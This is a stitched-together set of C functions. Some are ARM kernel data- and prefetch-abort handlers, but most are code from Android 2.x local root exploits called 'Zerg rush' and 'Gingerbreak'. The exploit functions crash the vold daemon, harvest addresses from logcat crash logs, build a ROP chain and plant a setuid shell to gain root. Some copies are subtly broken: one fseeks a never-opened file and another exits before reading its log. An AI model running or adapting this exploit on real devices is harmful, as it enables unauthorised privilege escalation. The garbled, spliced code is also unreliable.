void data_abort_handler(struct trapframe *tf) { vaddr_t pc, va; vsize_t asize; struct proc *p; struct lwp *l; vm_prot_t atype; bool usrmode, twopages; struct vm_map *map; /* * Data aborts in kernel mode are possible (copyout etc), so * we hope the compiler (or programmer) has ensured that * R14_svc gets saved. * * We may need to fix up an STM or LDM instruction. This * involves seeing if the base was being written back, and if * so resetting it (by counting the number of registers being * transferred) before retrying (ARM 2 ds pp 10 & 33). */ /* Enable interrupts if they were enabled before the trap. */ if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0) int_on(); uvmexp.traps++; l = curlwp; if (l == NULL) l = &lwp0; p = l->l_proc; if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR) { l->l_addr->u_pcb.pcb_tf = tf; LWP_CACHE_CREDS(l, p); } pc = tf->tf_r15 & R15_PC; data_abort_fixup(tf); va = data_abort_address(tf, &asize); atype = data_abort_atype(tf); usrmode = data_abort_usrmode(tf); twopages = (trunc_page(va) != round_page(va + asize) - PAGE_SIZE); if (!usrmode && va >= VM_MIN_KERNEL_ADDRESS) map = kernel_map; else map = &p->p_vmspace->vm_map; do_fault(tf, l, map, va, atype); if (twopages) do_fault(tf, l, map, va + asize - 4, atype); if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR) userret(l); }
static uint32_t find_index() { uint32_t min = 0, max = vold.got_start, fault_addr = 0, idx = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; printf("[*] find_index system\n"); // system("/system/bin/logcat -c"); printf("[*] find_index unlink\n"); unlink(crashlog); printf("[*] end find_index unlink\n"); // if ((logcat_pid = fork()) == 0) { // printf("[*] logcat_pid = fork()"); // char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; // execve(*a, a, environ); // exit(1); // } // sleep(3); printf("[*] find_index idx\n"); idx = scale*0x1000/4; printf("[*] find_index idx %04d \n",idx); for(;;) { printf("[*] do_fault\n"); if (do_fault(idx, 1) < 0) continue; /* Give logcat time to write to file */ sleep(3); // if ((f = fopen(crashlog, "r")) == NULL) // die("[-] Unable to open crashlog file"); fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strstr(buf, "fault addr ")) != NULL) { ptr += 11; fault_addr = (uint32_t)strtoul(ptr, NULL, 16); printf("[*] vold: %04d idx: %d fault addr: 0x%08x\n", vold.pid, -idx, fault_addr); } } while (!feof(f)); pos = ftell(f); fclose(f); if (fault_addr > min && fault_addr < max) { printf("[+] fault address in range (0x%08x,idx=%d)\n", fault_addr, -idx); break; } idx += 0x1000/4; } // Honeycomb needs scaling by 10 idx = (fault_addr + 4*idx - vold.got_start)/4; if (scale > 1) idx = scale*(fault_addr + 4*idx/scale - vold.got_start)/4; printf("[+] Calculated idx: %d\n", -idx); return idx; }
void delay_then_fault(int count) { int i; for (i=count; i>0; i--) { printf("%d", i); printf(i>1 ? "," : "...\n"); fflush(stdout); sleep(1); } fault_log("I was minding my own business, when..."); do_fault(); }
static uint32_t find_stack_addr() { uint32_t fault_addr = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; uint32_t sp=0, over=0; system("/system/bin/logcat -c"); unlink(crashlog); if ((logcat_pid = fork()) == 0) { char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; execve(*a, a, environ); exit(1); } sleep(3); if (do_fault() < 0) die("[-] Zerglings did not cause crash"); /* Give logcat time to write to file */ sleep(3); if ((f = fopen(crashlog, "r")) == NULL) die("[-] Zerglings did not leave stuff at all"); fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strstr(buf, " 4752455a")) != NULL && stack_addr == 0x41414141) { ptr -= 8; stack_addr = (uint32_t)strtoul(ptr, NULL, 16); } else if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) { ptr -= 8; over = (uint32_t)strtoul(ptr, NULL, 16); } else if ((ptr = strstr(buf, " sp ")) != NULL && !sp) { ptr += 5; sp = (uint32_t)strtoul(ptr, NULL, 16); } } while (!feof(f)); pos = ftell(f); fclose(f); if(over && sp) jumpsz = over - sp; return stack_addr; }
static uint32_t checkcrash() { uint32_t fault_addr = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; int ret=0; system("/system/bin/logcat -c"); unlink(crashlog); if ((logcat_pid = fork()) == 0) { char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL}; execve(*a, a, environ); exit(1); } sleep(3); if (do_fault() < 0) die("[-] Unable to crash vold!\n"); /* Give logcat time to write to file */ sleep(3); if ((f = fopen(crashlog, "r")) == NULL) die("[-] Unable to open log file!\n"); fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strstr(buf, " sp ")) != NULL) ret = 1; if ((ptr = strstr(buf, " r9 ")) != NULL) { ptr += 5; r9 = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " 10 ")) != NULL) { ptr += 5; r10 = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " fp ")) != NULL) { ptr += 5; fp = (uint32_t)strtoul(ptr, NULL, 16); } } while (!feof(f)); pos = ftell(f); fclose(f); return ret; }
void prefetch_abort_handler(struct trapframe *tf) { vaddr_t pc; struct proc *p; struct lwp *l; /* Enable interrupts if they were enabled before the trap. */ if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0) int_on(); /* * XXX Not done yet: * Check if the page being requested is already present. If * so, call the undefined instruction handler instead (ARM3 ds * p15). */ uvmexp.traps++; l = curlwp; if (l == NULL) l = &lwp0; p = l->l_proc; if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR) { l->l_addr->u_pcb.pcb_tf = tf; LWP_CACHE_CREDS(l, p); } if ((tf->tf_r15 & R15_MODE) != R15_MODE_USR) { #ifdef DDB db_printf("Prefetch abort in kernel mode\n"); kdb_trap(T_FAULT, tf); #else #ifdef DEBUG printf("Prefetch abort:\n"); printregs(tf); #endif panic("prefetch abort in kernel mode"); #endif } /* User-mode prefetch abort */ pc = tf->tf_r15 & R15_PC; do_fault(tf, l, &p->p_vmspace->vm_map, pc, VM_PROT_EXECUTE); userret(l); }
void prefetch_abort_handler(struct trapframe *tf) { struct lwp * const l = curlwp; struct proc * const p = l->l_proc; /* Enable interrupts if they were enabled before the trap. */ if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0) int_on(); /* * XXX Not done yet: * Check if the page being requested is already present. If * so, call the undefined instruction handler instead (ARM3 ds * p15). */ curcpu()->ci_data.cpu_ntrap++; if (TRAP_USERMODE(tf)) { lwp_settrapframe(l, tf); LWP_CACHE_CREDS(l, p); } else { #ifdef DDB db_printf("Prefetch abort in kernel mode\n"); kdb_trap(T_FAULT, tf); #else #ifdef DEBUG printf("Prefetch abort:\n"); printregs(tf); #endif panic("prefetch abort in kernel mode"); #endif } /* User-mode prefetch abort */ vaddr_t pc = tf->tf_r15 & R15_PC; do_fault(tf, l, &p->p_vmspace->vm_map, pc, VM_PROT_EXECUTE); userret(l); }
void prefetch_abort_handler(struct trapframe *tf) { vaddr_t pc; struct proc *p; /* Enable interrupts if they were enabled before the trap. */ if ((tf->tf_r15 & R15_IRQ_DISABLE) == 0) int_on(); /* * XXX Not done yet: * Check if the page being requested is already present. If * so, call the undefined instruction handler instead (ARM3 ds * p15). */ uvmexp.traps++; p = curproc; if (p == NULL) p = &proc0; if ((tf->tf_r15 & R15_MODE) == R15_MODE_USR) p->p_addr->u_pcb.pcb_tf = tf; if ((tf->tf_r15 & R15_MODE) != R15_MODE_USR) { #ifdef DEBUG printf("Prefetch abort:\n"); printregs(tf); #endif panic("prefetch abort in kernel mode"); } /* User-mode prefetch abort */ pc = tf->tf_r15 & R15_PC; do_fault(tf, p, &p->p_vmspace->vm_map, pc, VM_PROT_EXECUTE); userret(p); }
static uint32_t checkcrash() { uint32_t fault_addr = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; uint32_t sp=0, over=0; system("/system/bin/logcat -c"); unlink(crashlog); if ((logcat_pid = fork()) == 0) { char *a[] = {"/system/bin/logcat", "-f", crashlog, NULL}; execve(*a, a, environ); exit(1); } sleep(3); if (do_fault() < 0) die("[-] Zerglings did not cause crash"); /* Give logcat time to write to file */ sleep(3); if ((f = fopen(crashlog, "r")) == NULL) die("[-] Zerglings did not leave stuff at all"); fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strstr(buf, " sp ")) != NULL && !sp) return 1; } while (!feof(f)); pos = ftell(f); fclose(f); return 0; }
int main(int argc, char **argv, char **env) { uint32_t i = 0, ok = 0; char *ash[] = {sh, 0}; struct stat st; char version_release[256]; int tries=0; if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) do_root(); printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) die("[-] Cannot copy boomsh."); chmod(bsh, 0711); stat(vold, &st); heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; __system_property_get("ro.build.version.release", version_release); if (strstr(version_release, "2.2")) { heap_addr += 0x108; printf("[+] Found a Froyo ! 0x%08x\n", heap_addr); } else if (strstr(version_release, "2.3")) { heap_addr += 0x118; printf("[+] Found a GingerBread ! 0x%08x\n", heap_addr); } else { printf("[-] Not a 2.2/2.3 Android ...\n"); exit(-1); } system_ptr = (uint32_t) find_symbol("system"); if (check_addr(system_ptr) == -1) { printf("[-] High templars, we're doomed!\n"); exit(-1); } tries = 0; printf("[*] Scooting ...\n"); while(buffsz=allbuffsz[tries]) { if(checkcrash()) { printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); break; } tries++; } if(!buffsz) { printf("[-] Hellions with BLUE flames !\n"); exit(-1); } for (tries = 0; tries < 5; tries++) { find_stack_addr(); if (stack_addr != 0x41414141 && jumpsz) { printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); break; } printf("[*] Trying a new path ...\n"); switch(tries) { case 0: case 2: case 4: heap_addr += 8; break; case 1: heap_addr += 0xb8; break; case 3: heap_addr -= 0x180; break; default: break; } } if (stack_addr == 0x41414141 || !jumpsz) { printf("[-] Zerglings did not leave interesting stuff\n"); exit(-1); } if (check_addr(stack_addr) == -1) { printf("[-] Siege tanks, we're doomed!\n"); exit(-1); } if (jumpsz > 108 + 12) { printf("[-] This terran has walled!\n"); exit(-1); } kill(logcat_pid, SIGKILL); unlink(crashlog); printf("[*] Researching Metabolic Boost ...\n"); find_rop_gadgets(); printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); for(i=0; i<3; i++) { do_fault(); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n[+] Rush did it ! It's a GG, man !\n"); ok = 1; break; } else { printf("\n[-] Bad luck, our rush did not succeed :( (%d/%d)\n", i, 2); switch(i) { case 0: heap_addr += 16; break; case 1: heap_addr -=32; break; default: break; } } } if (ok) { char qemuprop[1]; property_get("ro.kernel.qemu",qemuprop,"0"); if (qemuprop[0]=='1') { printf("[+] Killing ADB and restarting as root... enjoy!\n"); fflush(stdout); sleep(1); kill(-1,SIGTERM); } else { printf("[-] Failed to set property to restart adb. Not killing.\n"); } } else { printf("Exiting. Try again later.\n"); fflush(stdout); sleep(1); kill(-1,SIGTERM); } return 0; }
int main(int argc, char **argv, char **env) { uint32_t i = 0, ok = 0; char *ash[] = {sh, 0}; struct stat st; char version_release[1024]; int tries=0; if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) do_root(); printf("\n[**] Zerg rush - Android 2.2/2.3 local root\n"); printf("[**] (C) 2011 Revolutionary. All rights reserved.\n\n"); printf("[**] Parts of code from Gingerbreak, (C) 2010-2011 The Android Exploid Crew.\n\n"); if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) die("[-] Cannot copy boomsh."); chmod(bsh, 0711); stat(vold, &st); heap_base_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; __system_property_get("ro.build.version.release", version_release); if (strstr(version_release, "2.2")) { heap_offset = 0x108; printf("[+] Found a Froyo ! 0x%08x\n", heap_offset); } else if (strstr(version_release, "2.3")) { heap_offset = 0x118; printf("[+] Found a GingerBread ! 0x%08x\n", heap_offset); } else { printf("[-] Not a 2.2/2.3 Android ...\n"); exit(-1); } heap_addr = 0xffffff; __system_property_get("ro.build.fingerprint", version_release); if(!strncmp(version_release, "samsung", 7)) { printf("[+] Found a Samsung, running Samsung mode\n"); samsung = 1; } system_ptr = (uint32_t) find_symbol("system"); libc_base = system_ptr & 0xfff00000; if (check_addr(system_ptr) == -1) { printf("[-] High templars, we're doomed!\n"); exit(-1); } tries = 0; printf("[*] Scooting ...\n"); while(buffsz=allbuffsz[tries]) { if(checkcrash()) { printf("[+] Zerglings found a way to enter ! 0x%02x\n", buffsz); break; } tries++; } if(!buffsz) { printf("[-] Hellions with BLUE flames !\n"); exit(-1); } for (tries = 0; tries < 2; tries++) { heap_oracle(); find_stack_addr(); if (stack_addr != 0x41414141 && jumpsz) { printf("[+] Zerglings caused crash (good news): 0x%08x 0x%04x\n", stack_addr, jumpsz); break; } } if (stack_addr == 0x41414141 || !jumpsz) { printf("[-] Zerglings did not leave interesting stuff\n"); exit(-1); } if (check_addr(stack_addr) == -1) { if(bad_byte(stack_addr & 0xff)) { stack_addr += 4; adjust = 4; if (check_addr(stack_addr) == -1) { printf("[-] Siege tanks, we're doomed!\n"); exit(-1); } } else { printf("[-] Siege tanks, we're doomed!\n"); exit(-1); } } if (jumpsz > 108 + 12) { printf("[-] This terran has walled!\n"); exit(-1); } if(check_libc_base()) { system_ptr = libc_base + (system_ptr & 0x000fffff); printf("[*] Creating more creep 0x%08x ...\n", system_ptr); if (check_addr(system_ptr) == -1) { printf("[-] High templars, we're doomed!\n"); exit(-1); } } kill(logcat_pid, SIGKILL); unlink(crashlog); printf("[*] Researching Metabolic Boost ...\n"); find_rop_gadgets(); printf("[+] Speedlings on the go ! 0x%08x 0x%08x\n", stack_pivot, pop_r0); do_fault(); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { char qemuprop[1]; printf("\n[+] Rush did it ! It's a GG, man !\n"); property_get("ro.kernel.qemu",qemuprop,"0"); if (qemuprop[0]=='1') { printf("[+] Killing ADB and restarting as root... enjoy!\n"); fflush(stdout); sleep(1); kill(-1, SIGTERM); } else { printf("[-] Failed to set property to restart adb. Not killing.\n"); } } else { printf("\n[-] Bad luck, our rush did not succeed :(\n"); fflush(stdout); sleep(1); kill(-1, SIGTERM); } return 0; }
int main(int argc, char **argv, char **env) { uint32_t i = 0, j = 0, idx = 0; char *ash[] = {sh, 0}; struct stat st; char build_id[256], version_release[256]; if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh")) do_root(); printf("\n[**] Gingerbreak/Honeybomb -- android 2.[2,3], 3.0 softbreak\n"); printf("[**] (C) 2010-2011 The Android Exploid Crew. All rights reserved.\n"); printf("[**] Kudos to jenzi, the #brownpants-party, the Open Source folks,\n"); printf("[**] Zynamics for ARM skills and Onkel Budi\n\n"); printf("[**] donate to [email protected] if you like\n[**] Exploit may take a while!\n\n"); if (copy("/proc/self/exe", bsh) < 0 || copy("/system/bin/sh", sh) < 0) die("[-] Cannot copy boomsh."); chmod(bsh, 0711); printf("[+] start __system_property_get(\"ro.build.id\", build_id)\n"); __system_property_get("ro.build.id", build_id); printf("[+] [+][+][+][+][+][+][+][+][+][+][+][+][+][+]end __system_property_get(\"ro.build.id\", build_id)\n"); __system_property_get("ro.build.version.release", version_release); printf("[+] [+] [+] [+] [+] [+] [+] [+] [+] [+] [+] end __system_property_get(\"ro.build.version.release\", version_release)\n"); if (strstr(build_id, "HONEY") || strstr(build_id, "Honey") || strstr(build_id, "honey") || strstr(version_release, "comb")) { printf("[+] Detected honeycomb! Starting honeybomb mode (scale=10).\n"); scale = 10; honeycomb = 1; } else if (strstr(build_id, "FR") || strstr(build_id, "Fr") || strstr(build_id, "fr")) { printf("[+] Detected Froyo!\n"); froyo = 1; } else printf("[+] Plain Gingerbread mode!\n"); find_vold(&vold); find_got("/system/bin/vold"); find_device(); printf("[*] vold: %04d GOT start: 0x%08x GOT end: 0x%08x\n", vold.pid, vold.got_start, vold.got_end); printf("[*] start find_index\n"); idx = find_index(); printf("[*] idx: %04d GOT idx\n", idx); kill(logcat_pid, SIGKILL); unlink(crashlog); printf("[*] _________________end unlink\n"); for (i = idx; j++ < (vold.got_end - vold.got_start); --i) { if (do_fault(i, 0) < 0) { ++i; --j; printf("[-] sendmsg() failed?\n"); continue; } printf("[*] vold: %04d idx: %08d\n", vold.pid, -i); fflush(stdout); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n\n[!] dance forever my only one\n"); break; } } /* Last try, sometimes vold cant handle 2 receives in the order * we like by do_fault() */ if ((st.st_mode & 04000) != 04000) { last_try(); last_try(); stat(sh, &st); if ((st.st_mode & 04000) == 04000) { printf("\n[+] You are in luck! Last try succeeded!\n"); } else { printf("\n[-] Bad luck. Fixed vold?\n"); exit(1); } } execve(*ash, ash, env); return 0; }
static uint32_t find_stack_addr() { uint32_t fault_addr = 0; char buf[1024], *ptr = NULL; FILE *f = NULL; long pos = 0; uint32_t sp=0, over=0; system("/system/bin/logcat -c"); unlink(crashlog); if ((logcat_pid = fork()) == 0) { char *a[] = {"/system/bin/logcat", "-b", "main", "-f", crashlog, NULL}; execve(*a, a, environ); exit(1); } sleep(3); if (do_fault() < 0) die("[-] Unable to crash vold process!\n"); /* Give logcat time to write to file */ exit(0); sleep(3); if ((f = fopen(crashlog, "r")) == NULL) die("[-] Unable to open log file\n"); fseek(f, pos, SEEK_SET); do { memset(buf, 0, sizeof(buf)); if (!fgets(buf, sizeof(buf), f)) break; if ((ptr = strstr(buf, " 46445341")) != NULL && stack_addr == 0x41414141) { ptr -= 8; stack_addr = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " 5245564f")) != NULL && !over) { ptr -= 8; over = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " sp ")) != NULL && !sp) { ptr += 5; sp = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " r9 ")) != NULL) { ptr += 5; r9 = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " 10 ")) != NULL) { ptr += 5; r10 = (uint32_t)strtoul(ptr, NULL, 16); } if ((ptr = strstr(buf, " fp ")) != NULL) { ptr += 5; fp = (uint32_t)strtoul(ptr, NULL, 16); } } while (!feof(f)); pos = ftell(f); fclose(f); if(over && sp) jumpsz = over - sp; return stack_addr; }